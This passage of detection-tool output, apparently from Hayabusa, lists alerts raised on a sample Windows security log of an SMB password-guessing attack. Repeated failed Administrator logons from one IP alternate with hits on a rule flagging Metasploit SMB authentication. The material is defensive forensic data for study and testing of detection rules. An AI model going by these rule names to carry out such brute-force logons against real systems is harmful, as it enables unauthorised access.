Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WHRnzgQkfAhsUguj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.363 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A0Q9ZIaRK43W9apv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.401 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2xvriGeIlDwtzS36 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.453 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.498 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pDYTFqeJC61Nneef : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.498 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0LNR7xCHW9x2q2qc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.538 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.578 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AE4EBj8X5IfXO8ZZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.578 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BEOSGw6TjZf9GWS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.679 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UCxe24uL4A6R9kgZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.679 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.830 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F8v4DcIRkx43KCIs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.830 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CY2buVupQ5oR1Cp5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.892 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f6c3MlpMEzkCVud2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.950 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E2wV6op9AU4paDXp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.993 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BNn6aywSs67hVAO2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wUa03SIX69WCIYbp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.109 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.158 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zYi4TB42B2VQm5Tr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.158 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.204 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9mnUbGMnlrOR8Tv4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.204 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CJGMWqgmbXABdPvB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2W9BbDYgC6vhqU3o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q6DYsaih1Yhb2uOD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.392 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q4o93QpJL4pxx94q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.432 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lQf1OsHb4lpgMPbl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.476 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HcJUYelneVqBQjr9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.525 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.569 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I0d6daEeIadJRbBI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.569 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SQ1hvZeT9aulbu4g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.612 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 75RBCjr2eRDLhTqW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.700 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: maMlpuzhleuQHhIo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.700 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.737 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AkpNfbOHUr7cY52z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.737 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.789 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R7SUyYbLPfPAGUfw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.789 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7clwftf7R0uNbqJ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.845 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IsIyPcMAPnlxJa12 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.883 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4CKcyo1Ec4rs3Z2g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.928 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZlzKvZLO8CDotkbE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.973 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.010 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EyRpYYtmD8389Yvp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.010 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t3Pg0H9Gncoyr45m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zksaaJ7Z1wuy4PMx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.112 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.154 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3WdYAEdfWxLdM1rh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.154 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VyYFJRy0cxPfqDFh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.195 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hv2Lz1h1bG6UatVR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.241 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FLKPLfEe3PpEzRNc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZJWv7ggzCSyEznOI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.336 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.381 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZUtR9CNfKMHQMd7T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.381 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.433 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6fYNHuRTqi15cRkL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.433 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.488 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DvxZHwJwrBYXlEyv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.488 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.530 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jscJTJjhKvCtDl8q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.530 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.575 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZEIEjcimMyHWUsp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.575 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.618 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 30OdVRH9ZATLezsR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.618 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJ1OSBVZHKmyOzj8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:47.652 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 